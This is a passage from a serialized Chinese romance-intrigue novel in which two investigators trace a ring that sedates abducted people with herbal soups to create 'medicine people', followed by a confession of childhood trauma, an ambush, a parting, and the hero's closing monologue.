袋中是粗葛布碎料,灰白色,边角参差,像裁衣剩下的废料。有的巴掌大,有的只有指幅宽,边缘毛糙,是被人随手撕扯的痕迹。他拈起一片,对着光。
边缘有焦痕。规整的弧线,均匀如墨笔勾勒——不是烛焰,是香灰。
他将那片碎料收进袖中。又将袋口扎紧,绳结仍是原来的走向,像从未解开过。
他站起身。火光只照到他的下颌——那线条刀削般冷硬,喉结轻轻滚动,像咽下什么。
宛楪立在药柜前。
她的指尖抚过那些空荡荡的抽屉。抽屉边缘贴着泛黄的标签,纸角卷起,墨迹褪了大半,被岁月浸成模糊的烟色。她侧过头,逐格辨认:
柏子仁。合欢皮。龙齿。远志。
都是安神的药材。
都是让躁动的魂灵安静下来、让清醒的神识沉入昏暝的东西。
她拉开最底下的抽屉。
那抽屉比其他的浅,像临时加塞进去的。里面没有药材,只有一叠裁剪成方形的粗葛布,叠得整整齐齐,边角对齐,棱线分明。
最上面那块布的正中,绣着一朵歪歪扭扭的小花。
花瓣五出,针脚拙劣。起针处打了个笨拙的死结,收针时线尾拖出长长一截。浅碧色的线,在灰白的葛布上洇开一小片柔和的春意——那线捻得很细,不像绣花用的丝线,倒像从旧衣襟上拆下的边角余料。
宛楪将那方帕子放入袖中,与先前那枚香梗并在一处。
隔着衣料,它们贴着腕骨。
像两只无处可去的手,终于牵在了一起。
他们没有说话。
沉默是此刻唯一的言语。窗缝里漏进一线残阳,将满室浮尘照成细碎的金箔,纷纷扬扬,不知疲倦。他们立在这金箔般的光尘里,像两尊忘了归处的旧像。
追查的第三日,他们找到了一处废弃的民宅。
那是城西近郊的一间独院。从官道岔入小径,要穿过一片枯死的竹林——竹叶早已落尽,只剩交错的光秃枝干,在灰白的天空下织成一张疏离的网。网眼里漏下稀薄的天光,一块一块,像撕碎的绢帛。
竹林深处,院门虚掩。
慕酌推门时,掌心贴上冰凉的门板。
那凉意不是木头的触感——冷硬如石,细滑如脂。他低头,借着云隙泄下的天光,看见门板表面覆着一层极薄的釉。
瓷釉。
釉面呈鸭卵青,有细密的开片纹,像春日河面初融的冰裂。边缘釉层较厚,聚成半透明的珠滴,已经凝固成永恒的垂落姿态。
他的瞳孔骤然收缩。
这层釉他见过。
在北国那间地窖的墙上,烛火映照时,整面墙都泛着这幽冷的青光。在那些炼制药人的陶瓮边缘,釉层裹住瓮口,像一道永远无法逾越的堤坝。在——
他没有往下想。
只是侧身,将宛楪护在身后。
院中空无一人。
但处处都是人待过的痕迹。
正屋窗下搭着简易的铺盖:几束麦秸铺平,上面盖着一条靛蓝布单。布单洗得发白,边缘磨出毛边,叠痕里压着细密的针脚——那是旧衣拆改的痕迹。麦秸还压着人形,头部的位置凹得更深,像有人长久地枕在那里,望着同一道梁。
灶台冷灰里埋着未燃尽的柴梗。慕酌捻起一截,指腹感受灰烬的温度。灰是冷的,但柴梗断面没有受潮,捻开时木屑干燥细碎。
他顿了顿。
将柴梗放回原处时,他重新理了理灰堆的弧度,让那些半埋的柴梗露出和原来一致的角度。
院角水缸的水面结了一层薄冰,冰色透亮如琉璃。冰下有新鲜的水痕——缸壁内侧有一条湿润的弧线,水位比冰层低了三指。那是今日取水的印记。
他们离开不久。
宛楪在水缸边蹲下。
她的裙摆浸入融冰的水渍,洇出一圈深色。她没有在意,只是俯身,望向冰层碎裂处。
那里浮着几茎发丝。
很细,泛着枯草般的黄,像秋日收割后的麦茬。发梢打着细小的卷,不是烫烙所致,是长期营养不良、从毛囊里长出的细弱弧度。
她取出帕子——那方绣着忍冬纹的银鼠灰帕子,自己的旧物——轻轻拈起发丝。
对光细看。
发根圆润,没有拔除的毛囊。是自然脱落。
她轻轻舒了口气。
活人。
那口气在寒凉的空气里凝成白雾,袅袅散开。
慕酌从正屋走出。
他手中捧着一只缺了口的粗瓷碗。碗是寻常的民窑器,釉色青中泛黄,碗沿有一道细小的豁口,釉面剥落处浸成深褐色——那是无数次唇齿相触留下的痕迹。碗底残留着干涸的深褐色渍迹,边缘微微卷起,像干涸的河泥。
他端起碗沿,凑近鼻端。
嗅得很轻,像怕惊动碗底沉睡的药渣。然后眉头蹙得更紧。
“是安神汤的药渣。”他道,声音压得极低,“柏子仁、远志、合欢皮——和药铺抽屉里的一致。”
他顿了顿。
“还多了一味。”
宛楪抬眸。
“龙骨。”他说,“已煅过的。镇惊安神,但久服令人昏沉、善忘、不知昼夜。”
他望着碗底那层褐渍,像望着一个无法转圜的预言。
宛楪接过碗。
她将碗沿内侧那深褐色的豁口对着光,看了很久。那豁口圆润光滑,不是磕碰所致,是无数次、同一个位置、以同样的角度,反复舔舐留下的痕。像幼兽认定了某一处缺口,每一次饮水都将舌尖探向那里。
她想起北国地窖里那些蜷缩的身影。
衣襟上绣着拙劣的花。眼神涣散,如将熄的烛焰。不知冷暖,不知饥饱,不知今夕何夕。却在火光映近时,低头看那朵花——看了很久很久。
“他们带走活人,”她轻声道,声音平静得像在说今夜风大,“喂安神汤,让他们昏沉、驯顺、不再想逃。然后用尸油和柏木艾草制成长香,日夜熏染——”
她没有说完。
慕酌替她说完。那声音低哑如砂纸磨过木纹:
“炼成药人。”
风穿过枯竹林。
不是呜咽,是更空洞的声响——像风吹过没有舌头的喉咙,像浪卷过没有回声的岩壁。那声音盘旋在颓败的院落上空,盘桓不去,像无数无法开口的魂灵在低泣,在叩门,在将手指插进冻土。
宛楪站起身。
她的动作很轻,衣料擦过枯竹枝,簌簌落下几片残叶——那是竹梢顶最后几片枯叶,被风干了整个冬天,终于在今日坠落。
慕酌望着她的侧影。
望见她垂落的指尖轻轻攥紧了袖口。那袖口里收着两方帕子:一方粗葛布的,绣着拙劣的花;一方银鼠灰的,绣着细密的忍冬纹。两方帕子叠在一处,像两道不同源流的水,在这一方窄窄的袖底,终于交汇。
他想说:这些事不该你来经历。
他想说:你该在日光下、春山里、一切都洁净明亮的地方。该有庭院、有海棠、有煮茶的炉火微温。
他想说:对不起,又将你拖入这般泥淖。
但他只是垂下眼,将那只粗瓷碗放回原处。
碗底磕在灶台上。
极轻的一声脆响,像什么碎了,像什么终于合上。
那夜他们没有回客栈。
线索断了。废弃民宅里再无更多可循之物——那些人带走了铺盖卷、未燃尽的柴、水缸里新取的水,甚至扫去了院中足迹。只有竹林深处那一层鸭卵青的釉,像一枚烙铁印下的章,沉默地证明他们来过。
药铺人去屋空。娘娘庙的庙祝摇着头,耳聋目昏,连那日有人问过什么都已记不清。
他们在那间荒芜的院落里待到暮色四合。又在回程的路上停驻了很久。
风止了。
雪还没有落。
天空是沉甸甸的铁灰色,压得很低,几乎贴着城堞的雉堞,像一顶随时会倾覆的穹盖。空气凝滞如未醒的梦,连呼吸都要放得很轻,才不致惊破什么。
宛楪走在慕酌身侧。
这些时日她已习惯他半步之遥的距离——不远不近,恰好在她余光所及的边缘。那距离像一道画师反复勾勒的轮廓线,不添一笔嫌疏,不省一笔嫌密。她从不回头确认他在不在。
但她知道,他一定在。
今夜却有些不同。
他仍维持着那半步的距离。但脚步比平日沉。她听见靴底碾过碎石时,那细响里滞涩的拖曳。听见他的呼吸,在寒凉的空气里凝成白雾,一次比一次深长。
像有话要说。
像在等一个开口的契机。
她停下脚步。
他也停下。
城门外有一株老槐树。树龄少说百年,主干要两人合抱,树皮皲裂成鳞片状,每一片鳞里都嵌着经年的风霜。枯枝在夜空中虬结成墨色的剪影,像一纸潦草的狂草,无人能识。
树下立着一块半人高的石碑。
碑身覆满青苔——不是鲜嫩的翠色,是干枯后转为褐色的苔衣,一碰就碎。碑文被风蚀得模糊,只剩“义渡”二字勉强可辨。据说三十年前这里确实有渡口,后来河道改移,船工四散,只剩这碑守着早已没有水的岸。
宛楪在碑边坐下。
她没有看他,只是望着城外那片沉入黑暗的旷野。旷野尽头有一两点灯火,极远,极微,像悬在天边的残星,像不知名的人家还未歇息。
“说吧。”
慕酌怔了怔。
他望着她。月色还没有上来,她的面容隐在暗里,只有下颌的轮廓、鬓边被风吹乱的发丝。她一动不动,像塑像,像碑,像守了多年渡口、早已忘了水的样子的岸。
也是在等。
等他开口。
等他交出那些他一直深埋心底、从未示人的东西。
慕酌在她身侧坐下。
隔着一拳的距离。他没有靠得更近,也没有退得更远。只是坐下来,像终于决定了什么,像船夫解开了缆绳。
“我父母死于南国那场内乱。”他开口。
声音低哑如砂纸磨过木纹,一个字一个字,像从很深的井底一桶一桶汲上来。
“我那时七岁。”
宛楪没有转头。
她望着远处的灯火。那灯火闪了闪,像有什么人从窗前走过。
“母亲将我藏在枯井里,自己引开追兵。”他顿了顿,像每一次想起都仍需要重新积攒力气,“井很深。我抬头只能看见一圈天光,很小,很亮,像一枚落在井口的铜钱。”
他的声音更低了。
“我在井底待了两日一夜。没有水,没有光,只能听见外面的马蹄声
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。近时如雷霆,地皮都在颤;远时如闷雷,从山那边闷闷地滚过来。有一阵子很安静,安静到我以为他们走了,以为母亲会回来找我。”
他停住。
风穿过枯槐枝桠,发出细长的呜咽。
“然后我听见母亲的声音。”
他没有说那声音是怎样的。不必说。那声音想必从很远的地方传来,嘶哑、破碎、一声一声,像钝刀割肉。
“她在喊我的名字。一遍一遍。”
他垂着眼。
“从近到远,从远到无。”
宛楪转过头。
她望着他的侧脸。月色终于从那片沉甸甸的云后挣脱出一线——只一线,像谁用指尖在墨纸上划了一道。那线落在他眉骨、鼻梁、紧抿的唇角。
他垂着眼。睫羽投下细碎的阴影,遮住所有可能泄露的神情。
“后来我才知道,她被那些人绑在马后,拖了整条长街。”
他的声音平得像陈述卷宗。
“父亲死得更早。我甚至不记得他的脸。只记得他出征那日,将我举过头顶,说我太重了,他快要举不动了。然后他说等他回来便教我骑射。”
他静了一息。
“他没有回来。”
宛楪望着他。
她看见他搭在膝上的手。指节攥得发白,骨节凸起,青筋在手背蜿蜒如冬日枯河。那手在轻微的颤抖——不是恐惧,是经年的隐忍,像一张拉满太久的弓,弦已陷入木纹。
她想起他掐住她脖颈的那夜。
想起他说“你长得太像我阿姐”。
想起后半夜廊外那久久不散的脚步——从她门前踱到廊尽头,又从廊尽头踱回她门前。霜华满地,他的靴印深深浅浅,像一纸写了又涂、涂了又写的信。
“你阿姐,”她轻声道,“也是那时……”
慕酌摇头。
“阿姐比我年长八岁。内乱起时,她已入宫为女官。”他顿了顿,声音更低了,“她本可以活下来的。”
他抬眸。
月色落在他眼底,照亮一道极细的裂痕。
“叛军攻入皇城那夜,她本已随太妃从密道撤离。密道出口在城外三里,那里有接应的马车,有换穿的民服,有备好的路引。太妃拉着她的手,要她快走。”
他静了很久。
“但她半路折返。”
“——为了取母亲的遗物。”
他没有说遗物是什么。那三个字从他唇间吐出时,像含着碎玻璃。
宛楪望着他。
她望见他说到“遗物”二字时,喉结滚了滚,像咽下什么。他的眼神仍旧沉静如深潭,但潭底有什么在碎裂——一道冰纹,两道,三道。纹路细密如蛛网,却始终没有崩塌。
她忽然明白了。
他在说谎。
不是全然的谎言。父母死于内乱是真,母亲将他藏在枯井是真,父亲出征未归也是真。但阿姐的事——或者说,关于“遗物”的那一部分——
他不肯说真话。
她望着他。月色将他的面容照得清冷如霜,眉目俊美得近乎妖艳——那是一种不属于尘世的美,像深冬子夜无人见过的寒梅,像远山上终年不化的雪。
他在用这层美做铠甲。
她在北国宫廷见过太多这样的人。用沉默做盾,用谎言做矛,用倾城的皮相掩盖倾颓的城垣。
她本可以追问。本可以拆穿。本可以像拆解一道锁簧般,用她惯常的冷静与精准,撬开那扇紧闭的门。
但她没有。
因为她知道那门后是什么。
不是秘密。是伤口。是经年不愈、从未示人、已与血肉长在一处的旧伤。强行撬开,伤的不是门,是门后那个人。
所以她只是望着他,等他说完。
他开口时,声音低得像怕惊醒梦中的魂灵。
“直到遇见你。”
他望着她。那目光里有太多东西——不是悔恨,不是祈求宽恕。是比那更深、更沉、更无从言说之物。像溺水者望见最后一截浮木,像迷途人望见远处灯火。
“所以那夜我掐住你的脖颈。”他道,“我分不清眼前人是谁。是北国细作,是阿姐,是那些我无力挽回的一切。”
夜风掠过,吹动宛楪的衣角。那衣角拂过他搭在膝边的手背,像一片羽毛,像一声叹息。
他垂下眼。
“你该恨我。”
宛楪没有答。
她伸出手。
那动作很慢,慢到足以让他看清她的每一步意图,慢到足以让他闪避、退后、将那些倾泻而出的话重新收回壳中。
他没有动。
她的指尖落在他手背上。
那触感轻得像一片雪,像多年前枯井边落下的第一片初雪。她的指尖微凉,从井水的深处来,从北国的风霜里来,从无数个她独自熬过的长夜里来。
就这样落在他手背上。
“有个孩子衣襟上绣着这样一朵花。”
她轻声道。
另一只手从袖中取出那方粗葛帕子,展开,平铺在膝上。月光下,那朵歪歪扭扭的小花针脚拙劣,像孩子第一次握针,颤抖而认真。碧色的线在夜色里泛着幽幽的光,像春来时第一片柳叶。
慕酌望着那朵花。
“他那时已不会说话。”宛楪的声音很轻,像怕惊落花蕊上的露,“眼神涣散,不知冷暖,不知饥饱。给他食物,他不嚼;给他水,他不咽。只是蜷在角落里,望着虚空,像一盏燃尽了油的灯。”
她指尖轻触帕上花蕊。
“但火光映近时,他低头看那朵花——他看了很久。”
她的指尖沿着拙劣的针脚缓缓游走。
“我一直在想,这是谁绣的。母亲?姐姐?他自己?”
她抬眸,对上他的视线。
“后来我明白了。是谁绣的不重要。”
她顿了顿。
“重要的是,在那间不见天日的地窖里,那朵花是他唯一还认得的东西。”
慕酌望着她。
他喉间滚过千言万语,出口时只成了一句极轻的、几不可闻的:
“那孩子……”
她将那方帕子折好,收回袖中。
“后来我想,他等的或许就是有人看见那朵花。”
她望着慕酌。
“就像你等了那么多年,等有人看见你的。”
风停了一瞬。
慕酌望着她。
他眼底那道碎裂的冰纹没有愈合——它们太深,太久,早已是河床本身的走向。但有什么从中生长出来。不是原谅,不是释怀。是比那更细微、更不易察觉之物。
像早春冻土里破出的第一茎新芽。
他不知道那芽是什么。不知它将长成什么样的枝、开什么样的花、结什么样的果。他只知它在拱土,在试探,在第一次向着有光的方向伸出触须。
他张口。
他想说——他不知道想说什么。或许是阿姐的名字,或许是母亲遗物的真相,或许是埋了二十年从未示人的那封信。那些话在喉间拥挤、推搡,争先恐后要涌出来。
远处忽然传来马蹄声。
急促。
杂乱。
不止一骑。
蹄铁叩击冻土的声响在静夜里炸开,如密雨倾盆,如山石滚落。
慕酌倏然起身。
他的手没有抽回。那掌心朝上,仍保持着方才她落指时的姿态。像一扇忘了关的门,像一封写到一半、墨迹未干的信。
他望着蹄声来处。
月下官道尽头,黑压压的骑影已涌出林翳,如潮,如浪,如墨汁泼进清水。
为首那骑的鞍边,悬着一盏气死风灯。
灯罩蒙着厚灰,透出的光昏黄如陈酒。
102. 惜别
慕酌骤然起身,手已按上剑柄。
“我有私人恩怨,你……”慕酌开口,转身对宛楪说。
“好,我走。”宛楪没有停留,她三并两步离开,没有回头,她听见了那些马蹄声,但是她……
反正都是要走的,怎么还有点舍不得,舍不得同伴,还是……
不重要!她也没必要去想。
蹄声渐近。火把的光芒撕破夜色,七八骑人马踏碎月光,直逼槐树下。为首之人翻身下马,铠甲铿然。
那是一个四十许的中年男子,面容冷峻,眼尾两道深纹如刀裁。他目光越过慕酌,落在他身后——
然后开口,声如寒铁:
“你竟敢游山玩水?”
来人的声音不高,却像淬了冰。
他没有转身。
“职责所在。”他声音平淡,“追查药人源头。”
“追查药人?”来人冷笑,迈步逼近。火把的光将他的影子投在地上,越拉越长,如鸦翅覆盖,“你以为我不知道这些日子你做了什么?冰湖捞鱼,雪山踏雪,带着这来历不明的女子——”
“游山玩水,好不自在。”
慕酌没有辩驳。
来人没有错过这细微的动作。他冷笑更甚,目光如刮骨的刀。
“继承人行事,便是如此不知谨小慎微?”
“你的责任,都抛诸脑后了?”来人逼近一步,“到底还有没有将南国放在眼里?”
他顿住,像想起什么,嘴角勾起一丝凉薄的笑意。
“也罢。左右你也不需要事事亲为了。”
他从袖中取出一封书简,递向慕酌。
“皇城已为你定下一门亲事。”
火把猎猎,将那张信笺映成忽明忽暗的橙黄。封缄处的朱印殷红如血,是南国内廷专用于宗亲婚仪的玺纹。
慕酌没有接。
他只是望着那封书简,一动不动。
风从枯枝间穿过,发出细长的呜咽。那呜咽盘旋在槐树与石碑之间,像无数他未曾哭出的悲声。
来人等了片刻,不见他接,索性将书简往他怀中一掷。
“世家闺秀,族中势力可助你崛起。”他语速极快,像背书,像宣读不容置喙的判词,“殿下对你寄望甚深,莫要辜负。”
“也莫要——”他刻意咬字,“对这些人动情。”
宛楪感到那目光像湿冷的蛛网,黏在面颊上。
“她们会成为你的软肋。”来人说,“一旦有了软肋,你所有的谋划都将付诸东流。”
他向前一步,压低了声音,那语调竟显出几分推心置腹的诡异:
“你父母在九泉之下,也定会咒骂你。”
慕酌的手骤然攥紧。
那封书简被他攥在掌心,纸张皱缩如濒死的蝶翼。他下颌的线条绷成刀锋,喉结滚动了一次,两次——
然后他松开。
动作极慢,像将某道已然涌到唇边的言语生生咽回腹中。他垂着眼,将揉皱的书简慢慢抚平,折好,收入怀中。
“说完了?”他问。
声音出奇平静。
来人似乎没料到他这般反应,怔了一瞬。旋即拂袖转身。
“好自为之。”
马蹄声渐远,火光没入夜色。
追踪在第五日断了。
并非线索中断,而是他们被刻意分开了。
那日他们分头查访。慕酌往城南码头查近期运货的商船,宛楪留在城西旧货铺子追查粗葛布的来源。约定酉时在城隍庙外汇合。
酉时,庙外空无一人。
宛楪等了半刻钟。
暮色渐浓,香客散尽,连庙祝都开始收拾香烛铜钹。她立在檐下,望着渐渐冷清的街衢,望着一盏盏次第亮起的灯火。
慕酌没有来。
她又等了一刻钟。
然后她转身,向着城南码头走去。
变故就发生在半途。
是条极窄的夹巷,白日也少见天光。宛楪踏入巷口时便察觉不对——太静了。连野猫都无踪迹,连檐角挂着的破风铃都纹丝不动。
她停下脚步。
几乎是同时,四道黑影从巷中、檐上、前后两端的暗影里同时扑出。
没有呼喝,没有质问。
刀光。
宛楪后仰,第一刀贴着她额际掠过,削断几茎碎发。她顺势侧旋,袖中短刃滑出,格住第二刀。火星四溅,照亮刺客半张脸——蒙面,眉骨平坦,眼神如死水。
她没有问“你们是谁”。
能在南国边境调动杀手的,没有她想见的答案。
她只是退,闪,格挡,寻找脱身的缝隙。刀锋擦过她左臂,衣帛裂开,皮肉凉了一瞬,旋即涌出温热。她没低头看,只是将短刃换到右手,继续后退。
巷口已在三丈外。
她只要再退——
那三丈距离却忽然被拉长了。不知从何处又涌出两名黑衣人,堵死了她的退路。前后六人,六柄刀,封住她所有方位。
宛楪握紧短刃。
她不知道自己得罪了谁。是那官员暗中怀恨,是药人背后势力察觉追查,还是——
她没有再想。
刀光已至。
她矮身、侧滚、以肩着地卸去冲劲,顺势掠向最近那道黑影下盘。短刃划过,那人闷哼一声,踉跄后退。
但也只是后退。
他已补位,刀锋再至。
宛楪闭上眼。
耳中只剩风声、刀吟、自己急促的呼吸。
然后她听见另一道声音。
是金属破空的锐响,比那些刀锋更疾更厉。一道黑影从巷口掠入,剑光如匹练,硬生生将即将合拢的杀阵撕开一道口子。
她没有睁眼。但她的身形已先于意识动了,朝那道缺口掠去。
来人没有看她。他只是将她往身后一带,剑势如暴雨,将那六人尽数逼退三步。他侧脸隐在阴影里,只露出下颌、紧抿的唇角、喉结轻轻滚动。
他浑身都是汗。
那汗水在寒夜里蒸成白雾,裹着他整个人。
“滚。”他哑声道。
不是对她说的。
是对那六人说的。
那六人对视一眼,似乎有些震惊。竟真的收了刀。他们没有开口,没有撂狠话,像来时一样无声,退入黑暗。
巷中复归寂静。
宛楪靠墙而立,短刃还握在掌心。她望着他,望着他被汗水濡湿的鬓发、起伏不定的肩背、攥剑的手指骨节凸起。
她就那样望着他,等他终于平复呼吸,等他终于将剑收入鞘中,等他终于——
“你受伤了。”
他转过头,目光落在她染血的衣袖。
他的声音很轻。轻得像怕惊动什么。但宛楪看见他眼底那层薄冰,在这一刻,彻底碎裂。
他向她走来。
一步,两步。越过那一臂之距,越过他守了多日的半步藩篱。他立在她面前,低头,望着那道裂开的衣帛、翻卷的皮肉、不断渗出的鲜血。
他抬起手。
指尖悬在她臂侧三寸,没有落下。
“疼么。”他问。
宛楪望着他的手。那双手握剑时稳如磐石,此刻却在轻轻颤抖。
“不疼。”她说。
她也不知为何要这样说。明明很疼。刀锋划过皮肉的灼烧感还在,血还在流。
但她望着他的眼睛,有点想要一个解释。
慕酌收回手。
他从怀中取出一方素帕,低头,小心地覆在她伤口上。他绑得很轻,一圈一圈,像怕弄疼她。他的指腹偶尔擦过她小臂内侧的皮肤,微凉,带着薄茧。
他始终没有抬眸。
“我有
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事与你说。”他道,声音低哑,“去竹林。”
那片竹林在城北三里。
说是竹林,其实大半已枯。去年的残叶还未落尽,今年的新笋已从腐土中探出嫩黄的尖。阳光从交错枯荣的竹枝间筛落,在铺满竹叶的地上织成无数细碎的光斑。
已是早春了。
风过竹林,枯叶簌簌,新叶沙沙,像无数低语。
慕酌走在前。
他没有像往日那样落后半步。他走在她身侧,很近,近到她的衣袖偶尔擦过他的衣角。
他始终沉默。
宛楪也没有开口。她等着。
她知道他约她来此,不是为了赏景。
竹林的尽头是一片小小的空地,中央立着半截残碑,字迹尽毁,只剩苔痕。慕酌在那碑前停下,转身,望向她。
他的眼中有千言万语。
但他说出口的,只有一句:
“你该走了。”
宛楪望着他。
她以为自己听错了。他们刚刚经历一场伏击,线索刚刚浮现,追查刚刚进入深水区。那些人显然认识慕酌,可是,他是不是应该有一个解释?
他却在此时让她走。
她望着他的眼睛。那双眼睛像深冬结冰的湖面,冰层之下暗流汹涌,却一丝不肯外露。
“我已知道这些人背后的情况了。”他说,“我会追查到底,届时昭告天下,将真凶绳之以法。”
他的声音很稳,每一个字都像刻在碑上的铭文,不容更改。
宛楪没有应。
她只是望着他。望着他抿紧的唇角,望着他垂落的手又攥紧、松开、又攥紧。
他让她走。
但他每一个细微的动作都在说:别走。
“那些药人,”她开口,“究竟是怎么回事?”
慕酌抬眸。
他望着她,像望着一个他不配望的人。沉默良久,他终于开口:
“是京中的大官在作祟。”
宛楪不喜欢这个理由,她不是傻子,她胸腔涌起一股子怒火。
他顿了顿,声音里透出一丝她从未听过的决绝:“我不会放过他们。就像在北国一样。”
北国。
宛楪想起那间地窖,那些蜷缩的身影,那朵拙劣的小花。她想起她在北国醒来时,十三皇子已与慕酌称兄道弟,北国皇室对他信任有加。
她不知他是如何做到的。
她只知道,他做到了。
她望着他。望着他眼底那道执拗的光。他不是在说服她,他是在说服自己。
她终于明白了。
他让她走,不是因为追查已了,不是因为危机解除。是因为那些京中的大官,那些操纵药人的黑手,那些他即将面对的,都是他曾拼命逃离的故国阴影。
他要去涉险。他不想拖她同行。
可惜,她不会因为这个原谅他的隐瞒。
宛楪正要开口,突然想到自己一样的隐瞒,以及为什么自己这么在乎他骗了自己。
不是合作伙伴,合作结束了,她本来就是要走的,现在,这是怎么了?
风吹过竹林,枯叶旋落,擦过她肩头。
宛楪垂眸。
她想了很久。
然后她抬起眼,望向他。
“我信你。”
三个字。很轻,像竹叶落在雪上。
慕酌的瞳孔微微放大。
“你……”
“我在北国醒来时,”宛楪打断他,声音平静,“你已与十三皇子搭上了关系。我不知道你是怎么做到的。”
她顿了顿。
“但我信你。”
她转身。
走出三步,她停下,没有回头。
“保重。”
然后她迈步,走向竹林外那片渐渐西斜的日光。带着一丝落荒而逃的味道。
103. 慕酌独白
她脚步匆匆,决然离去,丝毫没有留意到慕酌在她身后那眷恋又复杂的模样。
他静静地伫立在原地,双唇紧闭,没有发出一丝声响。目光紧紧锁住她渐行渐远的背影,那肩头被斑驳的光影错落覆盖,宛如一幅流动的画。
他就那样望着,望着她一步一步迈向竹林外那片澄澈得近乎虚幻的天光,仿佛她正一步步走出他的世界,迈向一个他或许永远无法触及的远方。
他心底似被万千丝线缠绕,千言万语梗在喉间,却又不知从何说起。那些回忆如汹涌潮水,裹挟着五味杂陈的情感,排山倒海般向他涌来。
他忆起与她的初逢,彼时,午后的阳光透过茂密树叶的缝隙,洒下一片片交错斑驳的光斑,似金箔般散落在地上。
他不经意地微微侧头,余光便扫到了她的侧脸。
那侧脸上,光影梦幻般变幻着,一半隐匿在阴影的深邃里,透着神秘与未知,一半被阳光温柔地勾勒出柔和的轮廓,宛如被神祇亲吻过。
刹那间,他的心跳陡然如鼓,一种源自本能的警惕瞬间占据了他的整个心头。
“又是他们派来的?究竟是来试探我的虚实,还是干脆直接要取我性命?”
心中疑惧与杀意如两条毒蛇,相互纠缠噬咬,仿佛那斑驳的光影都变成了催促他动手的鼓点,让他只想以最快的速度,将这潜在的威胁扼杀在萌芽状态。
他记得那阳光明媚得如同梦境的日子,金色的阳光毫无保留地倾洒而下,世间万物都仿佛被这光芒宠溺,镀上了一层温暖而神圣的光晕。
他为她精心挑选买下的那件衣服,在阳光的轻抚下,丝线闪烁着细碎如星芒的光芒,仿佛每一根丝线都在诉说着温柔的情话。
当她穿上它的那一刻,整个人仿佛被这光芒簇拥环绕,宛如从遥远光影深处走来的神女,不沾一丝人间烟火。
那一刻,他凝视着她,心中不由自主地泛起层层涟漪,如同平静湖面投入了一颗石子。
她怎么可以……美得如此动人心魄,就好像是从九天之上误入尘世的仙子,不属于这喧嚣纷扰的人间。
醉月楼内,昏黄的烛火如豆,在微风中轻轻摇曳,光影在墙壁上如鬼魅般舞动。
她在楼中翩翩起舞,身姿轻盈得如同穿梭在光影间的精灵。烛火映出她的身影,时而被拉长,如同梦幻中的幻影,时而缩短,却又显得愈发灵动俏皮,极尽妖媚之态。
然而,在那光影的交错变幻之间,又透着一种让人不敢亵渎的神圣气息,恰似那摇曳烛光中遥不可及的一抹梦幻,可望而不可即。
他的目光紧紧追随着她的每一个动作,心中五味杂陈,像是打翻了五味瓶。
冰湖之上,刺目的阳光毫无遮拦地铺洒在光洁的冰面,反射出炫目的亮光,让人几乎睁不开眼。
她不经意地轻轻侧过脸,那一瞬间,时间仿佛凝固成了永恒。正巧撞上他那来不及收回、饱含着复杂情感的目光。
刹那间,冰层开裂的清脆声响,如同一把重锤,打破了这片寂静。幽蓝的湖水从裂缝中汹涌涌出,在粼粼波光中,天光与她那明亮的眼眸相互辉映,美得如梦如幻。
那幽蓝的湖水宛如一面巨大而澄澈的镜子,倒映着天空的纯净澄澈与她眼中闪烁的星辰,那光影交织而成的画面,如同用最细腻的笔触镌刻在他心底的一幅画,任时光如何流转,都无法磨灭。
他呆呆地望着她的眼睛,心跳不由自主地急剧加快,仿佛要跳出嗓子眼,“为什么仅仅只是看到她的眼神,我就会如此慌乱?这种从未有过的感觉,究竟是什么?”
还有那次,黯淡而压抑的光影沉甸甸地笼罩着他们,仿佛整个世界都被阴霾所吞噬。
她手中的粗葛帕子,在这黯淡的氛围中显得愈发质朴而陈旧,甚至带着一丝岁月的沧桑。她轻轻将帕子折起,那斑驳而微弱的光影温柔地落在她的手上,衬得她的动作愈发轻柔,宛如呵护着世间最珍贵的宝物。“你我都有无力挽回的人。”
她的声音如同从光影的缝隙中幽幽传来,带着一丝难以言说的喟叹,仿佛一缕轻柔却又沉重的风,让那原本就黯淡的光影,仿佛都染上了一层挥之不去的忧伤。
听到她这句话,他的心仿佛被一只无形的手狠狠揪住,那些深埋在心底、不愿触碰的过往,如洪水般瞬间涌上心头,
是啊,有些事,有些人,一旦错过,便如同流星划过夜空,再也无法追回……
她,也有着和我同样刻骨铭心的伤痛吗?
他更记得在官员府邸门外,夕阳如血,余晖将天空染成了一片橙红色的海洋,那绚烂而又带着一丝悲壮的色彩,透过府邸的大门,在他们身上投下了两道长长的影子。
她缓缓转过身,静静地站在那橙红与金黄交织的光影之中,宛如一幅绝美的油画。她目光坚定地看向他,眼中的光芒如同夜空中最亮的星辰,问道:
“是真心存善,还是做戏给我看?”
那光影在她脸上如梦如幻地变幻着,勾勒出她神情的认真与严肃,让他在那一瞬间,内心的情感如同这变幻莫测的光影般复杂难辨,乱成一团麻。
他当时慌乱地看着她的眼睛,她怎么会突然这么问?
她是不是察觉到了什么蛛丝马迹?我……到底该怎么回答她……
这无数的回忆,伴随着光影的千变万化,在他心中如汹涌的波涛般翻涌不息,每一幕都如同一幅幅细腻生动的画卷,被光影精心渲染得刻骨铭心,也让他愈发深陷在对她的情感纠葛之中,无法自拔。
她低头折衣时,细碎的发丝不听话地垂落至耳侧,像调皮的小精灵。
她抬手去拢,一次,两次,第三次才终于拢住,那略显慌乱的动作,在他眼中却无比清晰,仿佛时间都为这一画面定格。
她喝茶时,双手小心翼翼地捧着杯盏,那模样,仿佛捧着的是这世间最珍贵、最易碎的宝物,即便指尖已被冻得通红,也依旧紧紧不肯放开,仿佛杯盏里承载着她所有的温暖与希望。
她走在他身侧,步速不疾不徐,恰好在他余光所及的边缘,从未越过,也从未落后,就那样静静地陪伴着他,宛如他生命中不可或缺的一部分。
她偶尔会不经意地抬眼望向他,那目光平静如水,表面波澜不惊,可水底究竟藏着什么,他从不敢深入探寻,仿佛那是一个禁忌的深渊,一旦涉足,便会陷入万劫不复之地。
他以为他会一直这样
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,与她保持着半步之遥的距离,不进不退。
将那些满心的话语,如同苦涩的药丸般咽回腹中,一年,两年,十年,乃至一辈子。
咽下那口枯井里两日一夜的黑暗与饥渴,将所有的痛苦与思念都深埋心底,独自承受。
他早已习惯了这样的吞咽,习惯了将所有的情感都压抑在内心深处,不让任何人察觉。
但此刻,她已渐行渐远,远到他终于有勇气直面自己的内心——
不是她不经意间撞进他的余光,而是他,一直在茫茫人海中寻觅她的踪迹。
从那年,那束光,如同希望的种子,在他心底种下了对美好的向往。
从他独自走过的二十年每一道漫漫长夜,那些黑暗中的挣扎与坚持,都化作了他寻找她的动力——
他一直在寻她,如同在黑暗中摸索的旅人,寻找那一丝照亮前路的曙光。
只是直到这一刻,她的背影彻底消失在他的视线中,他才终于敢对自己承认。
